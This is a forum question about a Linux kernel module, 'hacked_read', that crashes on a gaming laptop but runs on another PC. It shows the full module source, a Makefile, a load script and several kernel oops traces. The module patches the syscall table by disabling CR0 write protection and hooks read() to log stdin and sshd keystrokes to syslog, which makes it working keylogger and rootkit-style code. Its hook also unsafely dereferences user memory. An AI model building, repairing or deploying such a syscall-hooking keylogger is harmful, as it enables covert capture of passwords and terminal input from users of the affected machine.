title: LKM crashs depends on hardware?
body: <p>My LKM hijacks stdin/sshd inputs: <a href="https://pastebin.com/RChpbt9G" rel="nofollow noreferrer">https://pastebin.com/RChpbt9G</a></p>
  
  <pre><code># uname -a
  Linux kali 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux
  </code></pre>
  
  <p>I'm using latest <a href="https://cdimage.kali.org/kali-2019.2/kali-linux-2019.2-amd64.iso" rel="nofollow noreferrer">kali2019.2</a> on both computers.
  <a href="https://www.kali.org/downloads/" rel="nofollow noreferrer">https://www.kali.org/downloads/</a></p>
  
  <ul>
  <li>1st computer i5-2500K    - Ok.</li>
  <li>2nd computer i7-6700HQ ( Hardware name: Acer NG-G9-592-52LP/Mustang_SLS, BIOS V1.05 03/01/2016 ) - <code>gaming laptop</code> - Crash...</li>
  </ul>
  
  <p>Makefile:</p>
  
  <pre><code>CURRENT = $(shell uname -r)
  KDIR = /lib/modules/$(CURRENT)/build
  PWD = $(shell pwd)
  
  TARGET = hacked_read
  obj-m := $(TARGET).o
  
  default:
      $(MAKE) -C $(KDIR) M=$(PWD) modules
  
  clean:
      @rm -f *.o .*.cmd .*.flags *.mod.c *.order
      @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
      @rm -fR .tmp*
      @rm -rf .tmp_versions
  </code></pre>
  
  <p>LKM code:</p>
  
  <pre><code>#include &lt;linux/module.h&gt;
  #include &lt;linux/kernel.h&gt;
  #include &lt;linux/init.h&gt;
  #include &lt;linux/slab.h&gt;
  #include &lt;linux/string.h&gt;
  #include &lt;linux/syscalls.h&gt;
  #include &lt;linux/version.h&gt;
  #include &lt;linux/unistd.h&gt;
  #include &lt;linux/time.h&gt;
  #include &lt;linux/preempt.h&gt;
  #include &lt;linux/delay.h&gt;
  #include &lt;linux/cred.h&gt;
  #include &lt;linux/sched.h&gt;
  
  #include &lt;asm/uaccess.h&gt;
  #include &lt;asm/paravirt.h&gt;
  #include &lt;asm-generic/bug.h&gt;
  #include &lt;asm/segment.h&gt;
  #include &lt;asm/atomic.h&gt;
  
  #define PID_MAX 32768
  
  #define MODULE_NAME "hacked_read"
  
  #define dbg( format, arg... )  do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
  #define err( format, arg... )  pr_err(  MODULE_NAME ": " format, ## arg )
  #define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
  #define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )
  
  MODULE_DESCRIPTION( MODULE_NAME );
  MODULE_VERSION( "0.2" );
  MODULE_LICENSE( "GPL" );
  MODULE_AUTHOR( "module author &lt;mail@domain.com&gt;" );
  
  
  static DEFINE_SPINLOCK( mLock );
  static unsigned long ( *original_read )  ( const struct pt_regs *regs );
  void **sct;
  static unsigned long flags; // irq flags
  
  static atomic_t LOCK_NUMBER_ATOM        = ATOMIC_INIT(0);
  static unsigned long long LOCK_NUMBER_ATOM_VAL;
  static bool pids[ PID_MAX ];
  
  static inline void rw_enable( void ) {
      asm volatile ( "pushq %rax \n"
          "movq %cr0, %rax \n"
          "andq $0xfffffffffffeffff, %rax \n"
          "movq %rax, %cr0 \n"
          "popq %rax " );
  }
  
  static inline uint64_t getcr0(void) {
      register uint64_t ret = 0;
      asm volatile (
          "movq %%cr0, %0\n"
          :"=r"(ret)
      );
      return ret;
  }
  
  static inline void rw_disable( register uint64_t val ) {
      asm volatile(
          "movq %0, %%cr0\n"
          :
          :"r"(val)
      );
  }
  
  static void* find_sym( const char *sym ) {
      static unsigned long faddr = 0; // static !!!
      // ----------- nested functions are a GCC extension ---------
      int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
          if( 0 == strcmp( (char*)data, sym ) ) {
              faddr = addr;
              return 1;
          } else return 0;
      };// --------------------------------------------------------
      kallsyms_on_each_symbol( symb_fn, (void*)sym );
      return (void*)faddr;
  }
  
  static unsigned long hacked_read_test( const struct pt_regs *regs ) {
      unsigned long r = 1;
      unsigned int fd = regs-&gt;di;
      char *buf = (char*) regs-&gt;si;
      atomic_inc( &amp;LOCK_NUMBER_ATOM );
      pids[ task_pid_nr( current ) ] = true;
      r = original_read( regs );
      if ( fd == 0 ) { // fd == 0 --&gt; stdin (sh, sshd)
          if ( strlen( buf ) &gt; 0 )
              info( "hacked_read: %c\n", buf[ 0 ] );
      }
      atomic_dec( &amp;LOCK_NUMBER_ATOM );
      pids[ task_pid_nr( current ) ] = false;
      return r;
  }
  
  int hacked_read_init( void ) {
      register uint64_t cr0;
      int cpu;
      sct = find_sym( "sys_call_table" );
      original_read = (void *)sct[ __NR_read ];
      for_each_present_cpu( cpu ) {
          spin_lock_irqsave( &amp;mLock, flags );
          cr0 = getcr0( );
          rw_enable( );
          sct[ __NR_read ] = hacked_read_test;
          rw_disable( cr0 );
          spin_unlock_irqrestore( &amp;mLock, flags );
      }
      info( "Module was loaded\n" );
      return 0;
  }
  
  void hacked_read_exit( void ) {
      register uint64_t cr0;
      int cpu;
      unsigned int i;
      for_each_present_cpu( cpu ) {
          spin_lock_irqsave( &amp;mLock, flags );
          cr0 = getcr0( );
          rw_enable( );
          sct[__NR_read] = original_read;
          rw_disable( cr0 );
          spin_unlock_irqrestore( &amp;mLock, flags );
      }
      LOCK_NUMBER_ATOM_VAL = atomic_read( &amp;LOCK_NUMBER_ATOM );
      while ( LOCK_NUMBER_ATOM_VAL != 0 ) {
          info( "Locked. LOCK_NUMBER_ATOM_VAL = %lld\n", LOCK_NUMBER_ATOM_VAL );
          for( i = 0; i &lt; PID_MAX; i++ ) {
              if ( pids[ i ] ) {
                  info( "Locked. pid = %d\n", i );
              }
          }
          msleep( 5000 );
          LOCK_NUMBER_ATOM_VAL = atomic_read( &amp;LOCK_NUMBER_ATOM );
      }
      info( "Open. LOCK_NUMBER_ATOM_VAL = %lld\n", LOCK_NUMBER_ATOM_VAL);
      info( "Module was unloaded\n" );
  }
  
  module_init( hacked_read_init );
  module_exit( hacked_read_exit );
  </code></pre>
  
  <p>While I'm using it on i5-2500K - it is Okey, and every inputs from keyboard appears in /var/log/syslog very well.
  However, when I'm loading this module on i7-6700HQ it is going wild and blocking keyboard, so I'm testing it in such a way:</p>
  
  <pre><code>#!/bin/bash
  cp -v /mnt/opt2/usr_src/programming/cpp/hacked_read/hacked_read.ko /lib/modules/4.19.0-kali4-amd64/
  depmod
  modprobe hacked_read
  sleep 10
  rmmod hacked_read
  </code></pre>
  
  <p>And I'm seeing this in /var/log/syslog: <a href="https://pastebin.com/D7YS3z0c" rel="nofollow noreferrer">https://pastebin.com/D7YS3z0c</a></p>
  
  <pre><code>Jun 13 16:00:24 localhost kernel: [ 1624.899161] hacked_read: loading out-of-tree module taints kernel.
  Jun 13 16:00:24 localhost kernel: [ 1624.899538] hacked_read: Module was loaded
  Jun 13 16:00:24 localhost systemd[1]: atopacct.service: Main process exited, code=killed, status=9/KILL
  Jun 13 16:00:24 localhost systemd[1]: atopacct.service: Failed with result 'signal'.
  Jun 13 16:00:24 localhost kernel: [ 1624.906589] BUG: unable to handle kernel paging request at 00007fffc3497560
  Jun 13 16:00:24 localhost kernel: [ 1624.906592] PGD 80000002dcbe3067 P4D 80000002dcbe3067 PUD 2e3bab067 PMD 2df01c067 PTE 8000000450ae7867
  Jun 13 16:00:24 localhost kernel: [ 1624.906597] Oops: 0001 [#1] SMP PTI
  Jun 13 16:00:24 localhost kernel: [ 1624.906599] CPU: 4 PID: 15874 Comm: atopacctd Tainted: G           O      4.19.0-kali4-amd64 #1 Debian 4.19.28-2kali1
  Jun 13 16:00:24 localhost kernel: [ 1624.906601] Hardware name: Acer NG-G9-592-52LP/Mustang_SLS, BIOS V1.05 03/01/2016
  Jun 13 16:00:24 localhost kernel: [ 1624.906604] RIP: 0010:hacked_read_test+0x42/0x80 [hacked_read]
  Jun 13 16:00:24 localhost kernel: [ 1624.906605] Code: 65 48 8b 04 25 40 5c 01 00 48 63 80 c8 04 00 00 c6 80 60 73 3b c1 01 48 8b 05 42 a3 00 00 e8 c5 df e4 e9 49 89 c4 85 db 75 0c &lt;0f&gt; b6 45 00 84 c0 0f 85 de 00 00 00 f0 ff 0d 13 a3 00 00 65 48 8b
  Jun 13 16:00:24 localhost kernel: [ 1624.906607] RSP: 0018:ffff9f1dc5f1ff20 EFLAGS: 00010246
  Jun 13 16:00:24 localhost kernel: [ 1624.906609] RAX: 0000000000000080 RBX: 0000000000000000 RCX: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906610] RDX: 0000000000000000 RSI: ffff8eb7e3c333a0 RDI: 0000000000000001
  Jun 13 16:00:24 localhost kernel: [ 1624.906611] RBP: 00007fffc3497560 R08: 0000000000000000 R09: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906612] R10: ffff9f1dc5f1feb0 R11: 0000000000000000 R12: 0000000000000080
  Jun 13 16:00:24 localhost kernel: [ 1624.906613] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906615] FS:  00007f28ab3d6540(0000) GS:ffff8eb7f1b00000(0000) knlGS:0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906617] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  Jun 13 16:00:24 localhost kernel: [ 1624.906618] CR2: 00007fffc3497560 CR3: 00000002f2e56002 CR4: 00000000003606e0
  Jun 13 16:00:24 localhost kernel: [ 1624.906619] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906621] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
  Jun 13 16:00:24 localhost kernel: [ 1624.906622] Call Trace:
  Jun 13 16:00:24 localhost kernel: [ 1624.906627]  do_syscall_64+0x53/0x100
  Jun 13 16:00:24 localhost kernel: [ 1624.906630]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
  Jun 13 16:00:24 localhost kernel: [ 1624.906632] RIP: 0033:0x7f28ab2fe761
  Jun 13 16:00:24 localhost kernel: [ 1624.906634] Code: fe ff ff 50 48 8d 3d fe cd 09 00 e8 79 04 02 00 66 0f 1f 84 00 00 00 00 00 48 8d 05 99 5f 0d 00 8b 00 85 c0 75 13 31 c0 0f 05 &lt;48&gt; 3d 00 f0 ff ff 77 57 c3 66 0f 1f 44 00 00 41 54 49 89 d4 55 48
  Jun 13 16:00:24 localhost kernel: [ 1624.906635] RSP: 002b:00007fffc3497528 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906637] RAX: ffffffffffffffda RBX: 0000000000000009 RCX: 00007f28ab2fe761
  Jun 13 16:00:24 localhost kernel: [ 1624.906638] RDX: 0000000000003e80 RSI: 00007fffc3497560 RDI: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906639] RBP: 00007fffc3497560 R08: 0000000000000000 R09: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906641] R10: 0000000000000040 R11: 0000000000000246 R12: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906642] R13: 00007fffc3497550 R14: 00007fffc349b6c0 R15: 00007fffc349b478
  Jun 13 16:00:24 localhost kernel: [ 1624.906643] Modules linked in: hacked_read(O) ctr ccm nfnetlink_queue xt_REDIRECT nf_log_ipv4 nf_log_common xt_LOG ipt_REJECT nf_reject_ipv4 pktcdvd appletalk psnap llc ax25 xt_NFQUEUE xt_owner xt_tcpudp nft_counter xt_state xt_conntrack nft_compat nft_chain_route_ipv4 nft_chain_nat_ipv4 nf_nat_ipv4 nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 libcrc32c nf_tables nfnetlink dm_crypt algif_skcipher af_alg dm_mod ext4 mbcache jbd2 crc32c_generic fscrypto ecb fuse arc4 ath10k_pci ath10k_core btusb ath btrtl btbcm snd_hda_codec_hdmi btintel mac80211 intel_rapl bluetooth x86_pkg_temp_thermal intel_powerclamp uvcvideo coretemp snd_hda_codec_realtek cfg80211 kvm_intel videobuf2_vmalloc videobuf2_memops videobuf2_v4l2 videobuf2_common videodev media kvm drbg snd_hda_codec_generic ansi_cprng ecdh_generic
  Jun 13 16:00:24 localhost kernel: [ 1624.906676]  crc16 hid_a4tech snd_hda_intel joydev snd_hda_codec irqbypass snd_hda_core snd_hwdep snd_pcm snd_timer snd soundcore tpm_crb sg intel_cstate tpm_tis tpm_tis_core mei_me intel_uncore tpm rng_core hid_multitouch mei acer_wmi intel_rapl_perf iTCO_wdt sparse_keymap rfkill serio_raw pcspkr iTCO_vendor_support wmi_bmof idma64 intel_pch_thermal evdev pcc_cpufreq ac acpi_pad battery binfmt_misc ip_tables x_tables autofs4 squashfs zstd_decompress xxhash loop overlay nls_utf8 isofs usbhid sr_mod cdrom sd_mod uas usb_storage hid_generic crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel pcbc nouveau i915 mxm_wmi i2c_algo_bit ahci aesni_intel intel_lpss_pci xhci_pci drm_kms_helper ttm aes_x86_64 libahci xhci_hcd crypto_simd libata cryptd glue_helper alx psmouse i2c_i801 mdio scsi_mod
  Jun 13 16:00:24 localhost kernel: [ 1624.906712]  intel_lpss usbcore drm i2c_hid usb_common thermal hid wmi video button
  Jun 13 16:00:24 localhost kernel: [ 1624.906718] CR2: 00007fffc3497560
  Jun 13 16:00:24 localhost kernel: [ 1624.906719] ---[ end trace a09f35b7d83f68d8 ]---
  Jun 13 16:00:24 localhost kernel: [ 1624.906722] RIP: 0010:hacked_read_test+0x42/0x80 [hacked_read]
  Jun 13 16:00:24 localhost kernel: [ 1624.906723] Code: 65 48 8b 04 25 40 5c 01 00 48 63 80 c8 04 00 00 c6 80 60 73 3b c1 01 48 8b 05 42 a3 00 00 e8 c5 df e4 e9 49 89 c4 85 db 75 0c &lt;0f&gt; b6 45 00 84 c0 0f 85 de 00 00 00 f0 ff 0d 13 a3 00 00 65 48 8b
  Jun 13 16:00:24 localhost kernel: [ 1624.906725] RSP: 0018:ffff9f1dc5f1ff20 EFLAGS: 00010246
  Jun 13 16:00:24 localhost kernel: [ 1624.906726] RAX: 0000000000000080 RBX: 0000000000000000 RCX: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906727] RDX: 0000000000000000 RSI: ffff8eb7e3c333a0 RDI: 0000000000000001
  Jun 13 16:00:24 localhost kernel: [ 1624.906728] RBP: 00007fffc3497560 R08: 0000000000000000 R09: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906730] R10: ffff9f1dc5f1feb0 R11: 0000000000000000 R12: 0000000000000080
  Jun 13 16:00:24 localhost kernel: [ 1624.906731] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906732] FS:  00007f28ab3d6540(0000) GS:ffff8eb7f1b00000(0000) knlGS:0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906734] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  Jun 13 16:00:24 localhost kernel: [ 1624.906735] CR2: 00007fffc3497560 CR3: 00000002f2e56002 CR4: 00000000003606e0
  Jun 13 16:00:24 localhost kernel: [ 1624.906736] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
  Jun 13 16:00:24 localhost kernel: [ 1624.906737] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
  Jun 13 16:00:25 localhost kernel: [ 1625.433687] BUG: unable to handle kernel paging request at 0000556becd76d67
  Jun 13 16:00:25 localhost kernel: [ 1625.433695] PGD 80000002e39d0067 P4D 80000002e39d0067 PUD 2e332d067 PMD 2d13bc067 PTE 80000002b4f9a867
  Jun 13 16:00:25 localhost kernel: [ 1625.433708] Oops: 0001 [#2] SMP PTI
  Jun 13 16:00:25 localhost kernel: [ 1625.433716] CPU: 3 PID: 21500 Comm: grep Tainted: G      D    O      4.19.0-kali4-amd64 #1 Debian 4.19.28-2kali1
  Jun 13 16:00:25 localhost kernel: [ 1625.433719] Hardware name: Acer NG-G9-592-52LP/Mustang_SLS, BIOS V1.05 03/01/2016
  Jun 13 16:00:25 localhost kernel: [ 1625.433729] RIP: 0010:hacked_read_test+0x42/0x80 [hacked_read]
  Jun 13 16:00:25 localhost kernel: [ 1625.433734] Code: 65 48 8b 04 25 40 5c 01 00 48 63 80 c8 04 00 00 c6 80 60 73 3b c1 01 48 8b 05 42 a3 00 00 e8 c5 df e4 e9 49 89 c4 85 db 75 0c &lt;0f&gt; b6 45 00 84 c0 0f 85 de 00 00 00 f0 ff 0d 13 a3 00 00 65 48 8b
  Jun 13 16:00:25 localhost kernel: [ 1625.433738] RSP: 0018:ffff9f1dc5f4ff20 EFLAGS: 00010246
  Jun 13 16:00:25 localhost kernel: [ 1625.433744] RAX: 00000000000000d8 RBX: 0000000000000000 RCX: 0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.433747] RDX: 0000000000000000 RSI: ffff8eb7ef52c020 RDI: 0000000000000001
  Jun 13 16:00:25 localhost kernel: [ 1625.433751] RBP: 0000556becd76d67 R08: 0000000000000000 R09: 0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.433755] R10: ffff9f1dc5f4feb0 R11: 0000000000000001 R12: 00000000000000d8
  Jun 13 16:00:25 localhost kernel: [ 1625.433758] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.433763] FS:  00007f578746fb80(0000) GS:ffff8eb7f1ac0000(0000) knlGS:0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.433767] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  Jun 13 16:00:25 localhost kernel: [ 1625.433771] CR2: 0000556becd76d67 CR3: 00000002b792c006 CR4: 00000000003606e0
  Jun 13 16:00:25 localhost kernel: [ 1625.433775] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.433779] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
  Jun 13 16:00:25 localhost kernel: [ 1625.433782] Call Trace:
  Jun 13 16:00:25 localhost kernel: [ 1625.433795]  do_syscall_64+0x53/0x100
  Jun 13 16:00:25 localhost kernel: [ 1625.433804]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
  Jun 13 16:00:25 localhost kernel: [ 1625.433810] RIP: 0033:0x7f578757c761
  Jun 13 16:00:25 localhost kernel: [ 1625.433815] Code: fe ff ff 50 48 8d 3d fe cd 09 00 e8 79 04 02 00 66 0f 1f 84 00 00 00 00 00 48 8d 05 99 5f 0d 00 8b 00 85 c0 75 13 31 c0 0f 05 &lt;48&gt; 3d 00 f0 ff ff 77 57 c3 66 0f 1f 44 00 00 41 54 49 89 d4 55 48
  Jun 13 16:00:25 localhost kernel: [ 1625.433819] RSP: 002b:00007ffd300aaaa8 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.433824] RAX: ffffffffffffffda RBX: 000000000000e000 RCX: 00007f578757c761
  Jun 13 16:00:25 localhost kernel: [ 1625.433828] RDX: 000000000000e000 RSI: 0000556becd76d67 RDI: 0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.433832] RBP: 000000000000e000 R08: 000000000000000f R09: 0000000000019008
  Jun 13 16:00:25 localhost kernel: [ 1625.433835] R10: 0000000000000004 R11: 0000000000000246 R12: 0000556becd76d67
  Jun 13 16:00:25 localhost kernel: [ 1625.433839] R13: 0000000000000000 R14: 0000556becd6c800 R15: 0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.433843] Modules linked in: hacked_read(O) ctr ccm nfnetlink_queue xt_REDIRECT nf_log_ipv4 nf_log_common xt_LOG ipt_REJECT nf_reject_ipv4 pktcdvd appletalk psnap llc ax25 xt_NFQUEUE xt_owner xt_tcpudp nft_counter xt_state xt_conntrack nft_compat nft_chain_route_ipv4 nft_chain_nat_ipv4 nf_nat_ipv4 nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 libcrc32c nf_tables nfnetlink dm_crypt algif_skcipher af_alg dm_mod ext4 mbcache jbd2 crc32c_generic fscrypto ecb fuse arc4 ath10k_pci ath10k_core btusb ath btrtl btbcm snd_hda_codec_hdmi btintel mac80211 intel_rapl bluetooth x86_pkg_temp_thermal intel_powerclamp uvcvideo coretemp snd_hda_codec_realtek cfg80211 kvm_intel videobuf2_vmalloc videobuf2_memops videobuf2_v4l2 videobuf2_common videodev media kvm drbg snd_hda_codec_generic ansi_cprng ecdh_generic
  Jun 13 16:00:25 localhost kernel: [ 1625.433931]  crc16 hid_a4tech snd_hda_intel joydev snd_hda_codec irqbypass snd_hda_core snd_hwdep snd_pcm snd_timer snd soundcore tpm_crb sg intel_cstate tpm_tis tpm_tis_core mei_me intel_uncore tpm rng_core hid_multitouch mei acer_wmi intel_rapl_perf iTCO_wdt sparse_keymap rfkill serio_raw pcspkr iTCO_vendor_support wmi_bmof idma64 intel_pch_thermal evdev pcc_cpufreq ac acpi_pad battery binfmt_misc ip_tables x_tables autofs4 squashfs zstd_decompress xxhash loop overlay nls_utf8 isofs usbhid sr_mod cdrom sd_mod uas usb_storage hid_generic crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel pcbc nouveau i915 mxm_wmi i2c_algo_bit ahci aesni_intel intel_lpss_pci xhci_pci drm_kms_helper ttm aes_x86_64 libahci xhci_hcd crypto_simd libata cryptd glue_helper alx psmouse i2c_i801 mdio scsi_mod
  Jun 13 16:00:25 localhost kernel: [ 1625.434030]  intel_lpss usbcore drm i2c_hid usb_common thermal hid wmi video button
  Jun 13 16:00:25 localhost kernel: [ 1625.434046] CR2: 0000556becd76d67
  Jun 13 16:00:25 localhost kernel: [ 1625.434051] ---[ end trace a09f35b7d83f68d9 ]---
  Jun 13 16:00:25 localhost kernel: [ 1625.434058] RIP: 0010:hacked_read_test+0x42/0x80 [hacked_read]
  Jun 13 16:00:25 localhost kernel: [ 1625.434063] Code: 65 48 8b 04 25 40 5c 01 00 48 63 80 c8 04 00 00 c6 80 60 73 3b c1 01 48 8b 05 42 a3 00 00 e8 c5 df e4 e9 49 89 c4 85 db 75 0c &lt;0f&gt; b6 45 00 84 c0 0f 85 de 00 00 00 f0 ff 0d 13 a3 00 00 65 48 8b
  Jun 13 16:00:25 localhost kernel: [ 1625.434066] RSP: 0018:ffff9f1dc5f1ff20 EFLAGS: 00010246
  Jun 13 16:00:25 localhost kernel: [ 1625.434071] RAX: 0000000000000080 RBX: 0000000000000000 RCX: 0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.434074] RDX: 0000000000000000 RSI: ffff8eb7e3c333a0 RDI: 0000000000000001
  Jun 13 16:00:25 localhost kernel: [ 1625.434078] RBP: 00007fffc3497560 R08: 0000000000000000 R09: 0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.434081] R10: ffff9f1dc5f1feb0 R11: 0000000000000000 R12: 0000000000000080
  Jun 13 16:00:25 localhost kernel: [ 1625.434085] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.434090] FS:  00007f578746fb80(0000) GS:ffff8eb7f1ac0000(0000) knlGS:0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.434093] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  Jun 13 16:00:25 localhost kernel: [ 1625.434097] CR2: 0000556becd76d67 CR3: 00000002b792c006 CR4: 00000000003606e0
  Jun 13 16:00:25 localhost kernel: [ 1625.434101] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
  Jun 13 16:00:25 localhost kernel: [ 1625.434105] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
  Jun 13 16:00:35 localhost kernel: [ 1635.419417] BUG: unable to handle kernel paging request at 00007ffd57fa5d6f
  Jun 13 16:00:35 localhost kernel: [ 1635.419427] PGD 80000002dc983067 P4D 80000002dc983067 PUD 2d80bd067 PMD 2f3d2d067 PTE 80000003254c4867
  Jun 13 16:00:35 localhost kernel: [ 1635.419442] Oops: 0001 [#3] SMP PTI
  Jun 13 16:00:35 localhost kernel: [ 1635.419450] CPU: 4 PID: 21549 Comm: atop Tainted: G      D    O      4.19.0-kali4-amd64 #1 Debian 4.19.28-2kali1
  Jun 13 16:00:35 localhost kernel: [ 1635.419454] Hardware name: Acer NG-G9-592-52LP/Mustang_SLS, BIOS V1.05 03/01/2016
  Jun 13 16:00:35 localhost kernel: [ 1635.419464] RIP: 0010:hacked_read_test+0x42/0x80 [hacked_read]
  Jun 13 16:00:35 localhost kernel: [ 1635.419470] Code: 65 48 8b 04 25 40 5c 01 00 48 63 80 c8 04 00 00 c6 80 60 73 3b c1 01 48 8b 05 42 a3 00 00 e8 c5 df e4 e9 49 89 c4 85 db 75 0c &lt;0f&gt; b6 45 00 84 c0 0f 85 de 00 00 00 f0 ff 0d 13 a3 00 00 65 48 8b
  Jun 13 16:00:35 localhost kernel: [ 1635.419475] RSP: 0018:ffff9f1dc6437f20 EFLAGS: 00010246
  Jun 13 16:00:35 localhost kernel: [ 1635.419481] RAX: fffffffffffffe00 RBX: 0000000000000000 RCX: 0000000000000000
  Jun 13 16:00:35 localhost kernel: [ 1635.419485] RDX: 0000000000000000 RSI: 0000000000000257 RDI: ffff8eb632d9fc28
  Jun 13 16:00:35 localhost kernel: [ 1635.419489] RBP: 00007ffd57fa5d6f R08: 0000714c40000000 R09: 0000000000025d19
  Jun 13 16:00:35 localhost kernel: [ 1635.419494] R10: 0000000000026611 R11: 0000017cc5933f1e R12: fffffffffffffe00
  Jun 13 16:00:35 localhost kernel: [ 1635.419497] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
  Jun 13 16:00:35 localhost kernel: [ 1635.419503] FS:  00007fa66b6b9d40(0000) GS:ffff8eb7f1b00000(0000) knlGS:0000000000000000
  Jun 13 16:00:35 localhost kernel: [ 1635.419508] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  Jun 13 16:00:35 localhost kernel: [ 1635.419512] CR2: 00007ffd57fa5d6f CR3: 00000002e31fe005 CR4: 00000000003606e0
  Jun 13 16:00:35 localhost kernel: [ 1635.419517] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
  Jun 13 16:00:35 localhost kernel: [ 1635.419521] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
  Jun 13 16:00:35 localhost kernel: [ 1635.419524] Call Trace:
  Jun 13 16:00:35 localhost kernel: [ 1635.419538]  do_syscall_64+0x53/0x100
  Jun 13 16:00:35 localhost kernel: [ 1635.419548]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
  Jun 13 16:00:35 localhost kernel: [ 1635.419555] RIP: 0033:0x7fa66b7cd761
  Jun 13 16:00:35 localhost kernel: [ 1635.419560] Code: fe ff ff 50 48 8d 3d fe cd 09 00 e8 79 04 02 00 66 0f 1f 84 00 00 00 00 00 48 8d 05 99 5f 0d 00 8b 00 85 c0 75 13 31 c0 0f 05 &lt;48&gt; 3d 00 f0 ff ff 77 57 c3 66 0f 1f 44 00 00 41 54 49 89 d4 55 48
  Jun 13 16:00:35 localhost kernel: [ 1635.419565] RSP: 002b:00007ffd57fa5d38 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
  Jun 13 16:00:35 localhost kernel: [ 1635.419571] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fa66b7cd761
  Jun 13 16:00:35 localhost kernel: [ 1635.419575] RDX: 0000000000000001 RSI: 00007ffd57fa5d6f RDI: 0000000000000000
  Jun 13 16:00:35 localhost kernel: [ 1635.419579] RBP: 000056148ad79380 R08: 0000000000000000 R09: 000000000000ffff
  Jun 13 16:00:35 localhost kernel: [ 1635.419583] R10: 0000000000000008 R11: 0000000000000246 R12: 00000000000003e8
  Jun 13 16:00:35 localhost kernel: [ 1635.419587] R13: 000056148ad93380 R14: 000056148ad3bd20 R15: 00005614890723a6
  Jun 13 16:00:35 localhost kernel: [ 1635.419592] Modules linked in: hacked_read(O) ctr ccm nfnetlink_queue xt_REDIRECT nf_log_ipv4 nf_log_common xt_LOG ipt_REJECT nf_reject_ipv4 pktcdvd appletalk psnap llc ax25 xt_NFQUEUE xt_owner xt_tcpudp nft_counter xt_state xt_conntrack nft_compat nft_chain_route_ipv4 nft_chain_nat_ipv4 nf_nat_ipv4 nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 libcrc32c nf_tables nfnetlink dm_crypt algif_skcipher af_alg dm_mod ext4 mbcache jbd2 crc32c_generic fscrypto ecb fuse arc4 ath10k_pci ath10k_core btusb ath btrtl btbcm snd_hda_codec_hdmi btintel mac80211 intel_rapl bluetooth x86_pkg_temp_thermal intel_powerclamp uvcvideo coretemp snd_hda_codec_realtek cfg80211 kvm_intel videobuf2_vmalloc videobuf2_memops videobuf2_v4l2 videobuf2_common videodev media kvm drbg snd_hda_codec_generic ansi_cprng ecdh_generic
